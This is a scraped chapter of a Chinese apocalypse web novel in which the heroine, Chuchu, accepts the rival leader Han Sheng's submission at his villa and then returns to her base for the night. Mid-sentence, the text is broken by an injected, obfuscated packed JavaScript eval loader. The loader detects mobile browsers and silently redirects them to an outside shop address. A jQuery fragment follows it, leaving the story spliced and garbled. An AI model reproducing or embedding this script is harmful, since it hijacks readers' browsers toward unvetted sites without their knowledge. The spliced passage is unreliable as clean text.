文趣网 > 都市小说 > 末世重生:变形异能的反转逆袭 > 55.当猫女变成美人鱼反杀
    末世第九十五天,韩晟约楚楚单独见面。消息是阿七带回来的,一张折了两折的纸,上面写着“楚楚,明日黄昏,别墅一叙。韩晟。”字迹潦草,笔画很重,纸面上有几个被笔尖戳破的小洞。楚楚看着那行字,猫爪按了按。她没有问“他有没有埋伏”,因为她知道没有。韩晟这个人,要杀你的时候不会约你见面,他会直接动手。他约你见面,说明他已经不想杀了。或者说,他知道自己杀不了了。

    楚楚一个人来的。她没有带顾深、慕容晴、铁手、狼王、猎手——她只带了自己。临走前,顾衍站在大门口,求生刀别在腰间,双手抱胸,闭着眼睛。她没有看他,但她的猫爪在袖子里按了一下。“我走了。”她说。“嗯。”他应了一声。林笙从走廊探出头,消防斧扛在肩上,喊了一声“早点回来,赵叔做了红烧肉”。陆沉从楼梯走下来,手里拿着一本书,书是电磁学,翻到了“麦克斯韦方程组”那一章。他没有说话,但他的眼睛在说“小心”。楚楚没有回头,但她的猫爪又按了一下。

    别墅在城北,韩晟的老巢。楚楚走过那条她走过两次的路——第一次以幻梦师的身份,穿着黑色紧身衣,灰蓝色眼睛,银灰色短发。第二次以楚楚的身份,穿着黑色卫衣、牛仔裤、帆布鞋,头发扎成高马尾。这次还是以楚楚的身份,还是那身打扮,但猫爪没有藏,从袖子里伸出来,在月光下闪着银白色的光。别墅的门开着,没有守卫,没有灯光,只有游泳池里的水在月光下泛着淡蓝色的光。她走进去,帆布鞋踩在地砖上,发出轻轻的“嗒、嗒、嗒”的声音。游泳池的水很安静,没有波纹,像一面黑色的镜子。

    韩晟坐在池边。他穿着一件深色的睡袍,腰带系得很松,领口敞开,露出胸口。脚泡在游泳池里,水波从脚踝一圈一圈地荡开。他没有拿武器,没有穿新衬衫,没有别水滴胸针。头发乱糟糟的,像很久没有洗过,一缕一缕地垂在额前。下巴有青色的胡茬,眼睛下面有很深的黑眼圈。他看起来像一个在深夜里睡不着觉的老人,像一个在梦里游了很久、醒来发现还在原地的孩子。

    “你来了。”韩晟没有抬头。他低着头看着水面,声音很低,很沉,像一个人在跟自己说话。

    “我来了。”楚楚走到池边,离他两米远。她站在那里,猫爪垂在身侧,月光照在她的脸上,灰蓝色的眼睛在水面的反光中微微发亮。她看着他的侧脸——那道从眉尾到颧骨的疤痕,末世后留下的,缝了七针。他的鼻梁很高,在脸上投下一片阴影。他的嘴唇干裂,有白色的皮翘起来。

    “你知道我为什么约你吗?”韩晟的声音很低。

    “知道。你要杀我。”楚楚的猫爪按了一下。不是“紧张”的按,是“我说对了”的按。她的声音很平静,像在说“今天天气不错”。韩晟没有反驳,没有说话,甚至没有动。他只是看着水面,看着月亮的倒影在水的波纹中碎成一片一片的银光。

    韩晟笑了。那个笑容里没有狰狞,没有疯狂,只有一种疲惫的、认命的、像一个人在沙漠里走了很久、终于坐下不想再走的那种笑。嘴角微微上扬,眼睛微微眯起,皱纹堆在眼角。他看起来像一个在说“我输了”的人。

    “我杀不了你。你的人太多了,你的情报网太广了,你的盟友太强了。顾深、慕容晴、铁手、狼王、猎手、赵铁军。六个势力,六个人,六种异能。我一个人打不过。”他抬起头,看着楚楚。深棕色的眼睛里没有愤怒,没有仇恨,没有不甘。只有一种“我看清了自己”的平静。“我杀不了你。”他又说了一遍,像是在确认。

    他站起来。睡袍的下摆拖在地上,湿了一片。他走到楚楚面前,离她一步远。他比她高一个头,低头看着她,像一座山看着一棵草。但他没有山的压迫感,他的肩膀塌着,背微微弯着,像一个被风吹弯了的树。

    “但我想知道——你到底是不是幻梦师?”

    楚楚看着他,沉默了几秒。月光从窗户照进来,落在她的脸上,落在他的脸上,落在游泳池的水面上。水波一圈一圈地荡开,像一朵朵在绽放的花。她想过否认,想过编一个借口,想过把话题岔开。但她看着他的眼睛,那双深棕色的、没有愤怒、没有仇恨、没有不甘的眼睛。她不想再骗他了。他输了,输得干干净净。她赢了,赢得彻彻底底。赢的人不需要再骗了。

    “是。”楚楚的猫爪按了一下。

    韩晟闭上眼睛,深吸一口气。那口气吸得很深,深到他的胸腔像一只被吹胀的气球,深到他的肩膀抬了起来,脖子绷紧了。他慢慢地吐出来,像一个人在叹气,像一个人在放下什么重物。“果然。”他的声音很轻,像一片落叶。

    他睁开眼睛,看着游泳池的水面。水面上有月亮的倒影,银白色的,圆圆的,像一面不会碎的镜子。他蹲下来,手指在水面上划过,水波把月亮的倒影打碎了,碎成一片一片的银光。他看着那些碎片,看了很久。

    “我小时候,真的看过人鱼动画片。不是《小美人鱼》,是另一部,日本的,名字忘了。里面的人鱼不是红色头发,是黑色的,眼睛是蓝色的。她很会笑,笑的时候眼睛弯成月牙。”他的手指在水面上画了一个圈,圈里是月亮的碎片。“我变成人鱼在水里游的梦,是真的。不是‘做’的梦,是‘想’的梦。每天晚上睡觉前,闭上眼睛,想象自己在水里游。没有重力,没有方向,没有上下左右。可以往上,可以往下,可以往左,可以往右,可以转圈,可以翻跟头。没有人会告诉我‘你不行’,没有人会告诉我‘你是会长你不能这样’。没有人。”他的声音越来越低,越来越轻,像一个人在自言自语。

    楚楚的猫爪在袖子里按了一下。“我知道。所以我没有在幻境里杀你。”

    韩晟的手停了一下。他看着水面,看着那些碎成一片一片的银光。“那你现在要杀我吗?”他的声音很平静,平静得像在问“你吃了吗”。

    “不。”楚楚的猫爪又按了一下。她的声音不大,但很清楚。“不杀你。但深蓝会要归平安堡管。你的人、你的资源、你的地盘——全部归平安堡调配。你还是会长,但你上面有我。”

    韩晟抬起头,盯着她看了很久。久到楚楚以为他要拒绝了,久到月亮的倒影从水面的一边移到了另一边,久到池边的一只飞蛾扑进了水里,挣扎了两下,不动了。他的嘴唇在微微颤抖,不是因为害怕,是因为“他在想”。想她说的是真是假,想答应之后会失去什么、得到什么,想他的女儿会不会原谅他。他的手指在水面上轻轻敲了两下,像一个人在敲门。

    “你是认真的?”韩晟的声音沙哑。

    “我从不开玩笑。”楚楚的猫爪按了最后一下。

    韩晟沉默了很久。他低下头,看着自己的手。手指在水里泡了很久,皮肤皱巴巴的,像老人的手。他想起女儿小时候,拉着他的手,说“爸爸,你的手好大”。他想起女儿说“等我长大了,我也要手这么大”。他想起女儿说“爸爸,你不要老”。他的眼眶红了。不是“想哭”的红,是“被风吹了”的红。

    他伸出手。手掌很大,手指粗短,指甲剪得很短,很干净。手湿漉漉的,是刚才在水里泡的。水珠从他的指尖滴落,在地上砸出一个小小的坑。他的手指在微微发抖,不是“害怕”的抖,是“他很久没有跟人握过手了”的抖。

    楚楚握住他的手。猫爪的肉垫按在他的掌心里,留下一个粉色的湿印。她的手很小,包不住他的手掌,但她的猫爪很温暖,肉垫软软的,像一个小小的、不会熄灭的暖炉。他的手很凉,不是“冷”的那种凉,是“在水里泡久了”的那种凉。但她的温暖顺着掌心传过去,一点一点地,像春天的阳光在融化冬天的冰。

    【搞定。】猫爪写道。

    楚楚站起来。韩晟也站起来。他看着她,张了张嘴,想说什么,又闭上了。他不知道该说什么。“谢谢”太轻了,“对不起”太重了,“我服了”太丢人了。他什么都没说。

    楚楚转身走了。走了两步,停下来,没有回头。“韩晟。”

    “嗯。”

    “你女儿还活着。”

    韩晟的身体猛地一震。他的眼睛瞪大,嘴巴张开,心脏在胸腔里疯狂跳动,像一面被敲响的鼓。他的手在发抖,腿在发抖,整个人像一棵被风吹弯了的树。

    “小石头找到了。她在澳大利亚的一个幸存者营地,活着,健康,每天还在研究海洋生物学。她不知道你在哪,但她一直在找你。”楚楚的猫爪在袖子里按了一下。“三个月后,她会来这里。”

    韩晟的眼泪掉了下来。不是“流”的那种掉,是“砸”的那种掉。一滴,两滴,三滴。砸在地上,砸在游泳池边的地砖上,砸在月光里。他用手背擦了擦,又流了。又擦,又流。他没有再擦。他站在那里,睡袍的下摆湿了,脚泡在水里,眼泪流在脸上。他没有发出声音,只是流泪。眼泪从他的眼眶涌出来,沿着鼻梁往下淌,流过他干裂的嘴唇,流过他青色的胡茬,滴在地上,滴在月光里。

    楚楚没有回头。她走了。走进夜色里。猫爪在袖子里疯狂按压,不是“紧张”的按,是“她做到了”的按。她的眼眶也红了,但她没有哭。因为她是赢的人,赢的人不哭。

    阿七从废墟的阴影里走出来,跟在她身后。“搞定了?”她的声音很轻,像怕惊动什么。

    “搞定了。”楚楚的猫爪按了一下。

    “他哭了?”

    “哭了。”

    “你哭了吗?”

    楚楚没有回答。她的猫爪在袖子里按了一下,不是“是”,也不是“不是”,是“别问了”。阿七没有再问。两个人走在那条被月光照亮的路上。平安堡的灯在远处亮着,几十盏灯,在黑暗中亮着,像

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625227|206187||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个小小的、不怕冷的萤火虫窝。

    她们走进平安堡大门。刘建国在修门槛——这次他用的是新水泥,掺了沙子,掺了胶水,又掺了一点细石子,还掺了一点铁屑。他说“这样应该不会裂了”。他蹲在地上,锤子敲在钉子上,发出“咚、咚、咚”的声音,像一个在打拍子的人。他抬起头,看了楚楚一眼,又低下头,继续敲。

    赵德厚在食堂窗口探出头,喊了一声“饭热着呢”。他的围裙上沾着面粉,手里拿着锅铲,锅铲上还有没甩干净的番茄汁。他看到楚楚,笑了,皱纹堆在眼角,像一朵正在绽放的菊花。

    林笙从走廊跑过来,消防斧扛在肩上,喊着“怎么样”。她的脸红扑扑的,是跑急了,也是被灶台的热气熏的。她的消防斧今天刚磨过,刃口亮得像镜子,能照出人的脸。

    陆沉从楼梯走下来,手里拿着一本书,书是电磁学,翻到了“麦克斯韦方程组”那一章。他没有说话,但他的眼睛在问“你没事吧”。他的书页上有一道新的折痕,是他刚才在等的时候折的,折了又抚平,抚平了又折。

    顾衍站在走廊尽头,求生刀别在腰间,双手抱胸,闭着眼睛。他的呼吸很轻,很稳,像一个人在午睡。但楚楚听到他的心跳——从她走进大门的那一刻,就从每分钟六十八次跳到了八十八次。现在降下来了,七十八次。还没有完全降下来,但快了。

    楚楚走进食堂,在餐桌前坐下。猫爪在桌下按了按。赵德厚端着一碗粥从厨房走出来,放在她面前。粥是小米粥,金黄色的,稠稠的,冒着热气。旁边放着一碟咸菜、一碟花生米、一碟腐乳。还有一小碟红烧肉,肥瘦相间,油亮亮的,是赵德厚特意给她留的,用最小的碗装着,放在粥碗旁边。

    楚楚拿起勺子,喝了一口粥。粥不烫不凉,小米的香味在舌尖上散开,暖暖的。她又夹了一块红烧肉,放进嘴里。肉是肥的,入口即化;瘦肉不柴,嚼起来有弹性;酱汁是甜的,咸的,鲜的,三种味道在舌尖上跳舞。猫爪在桌下按了一下,像是在说“好吃”。她吃完最后一口粥,吃完最后一块肉,放下碗,站起来。

    她走出食堂,走上楼梯,走进302室。宋瑶坐在床上,笔记本摊在膝盖上,铅笔别在耳朵上。她抬起头,看着楚楚。“韩晟归顺了?”

    “归顺了。”楚楚在床沿上坐下,猫爪搭在膝盖上。

    “哭了?”

    “哭了。”

    宋瑶低下头,在笔记本上写下:【韩晟·归顺·深蓝会并入平安堡。备注:哭了。】她的笔迹依然工整,但“哭了”两个字旁边画了一个小小的水滴,像一滴眼泪。

    楚楚躺下来,猫爪在被子上按了按。她闭上眼睛。韩晟的眼泪,她在他的眼泪里看到了很多东西——他对女儿的想念,对自由的渴望,对失败的认命。他不会死,因为她不让他死。他会在平安堡活下去,等他女儿回来。他女儿会叫他“爸爸”,他会笑,会哭,会抱住她。他会想起小时候女儿坐在他腿上,看那部人鱼动画片。他会想起他答应过她“等你长大了,爸爸带你去海边”。他会在女儿回来之后,带她去海边。不是“海边”,是游泳池。他会在游泳池里变成人鱼,不是真的变成,是幻梦师给他变的。他会游得很快,比鱼快,比船快。他会翻跟头,会转圈,会从池底冲到水面。他会笑。他从来没有那样笑过。但他会。

    猫爪在她掌心按了一下。她翻了个身,面朝墙壁。墙壁上还有她写的那些字——“等鱼韩赔铁网梦鱼杀等疑信防狼猎赵”。十六个字,歪歪扭扭的,并排站在白色的墙壁上。她用猫爪在“赵”字旁边又写了一个字——“归”。“等鱼韩赔铁网梦鱼杀等疑信防狼猎赵归”。十七个字,像十七个人在等人。

    她睁开眼睛,看着天花板。天花板上的裂缝还在,从墙角延伸到灯座,像一条干涸的河流。她盯着那条裂缝,猫爪在被子里按了最后一下,像是在说“晚安”。她弯了弯嘴角,睡着了。

    窗外,月亮从云层的缝隙里露出来,银白色的光照在她的脸上。平安堡的灯一盏一盏地熄灭了。手电筒的白光灭了,应急灯的暖黄灭了,余舟异能荧光的淡蓝也灭了。几十盏灯,一盏一盏地灭了。最后剩下的一盏灯是302室窗户透出来的光,不是手电筒,不是应急灯,不是异能荧光。是月亮。月亮从窗户照进来,落在那个蜷缩在被子里的人身上,落在她右手的猫爪上,落在墙壁上那十七个歪歪扭扭的字上。

    归。韩晟归顺了。不是“投降”,是“归顺”。他打不过,不想打了,不想死了。他只想活着,等着女儿回来。楚楚给他这个机会。她弯了弯嘴角,猫爪在她掌心按了最后一下,像是在说“晚安”。她睡着了。明天,她可以睡个懒觉。明天,没有人会来打平安堡。明天,她可以在天台上晒太阳,用猫爪逗流浪猫,喝顾衍递来的温水。明天,是新的开始。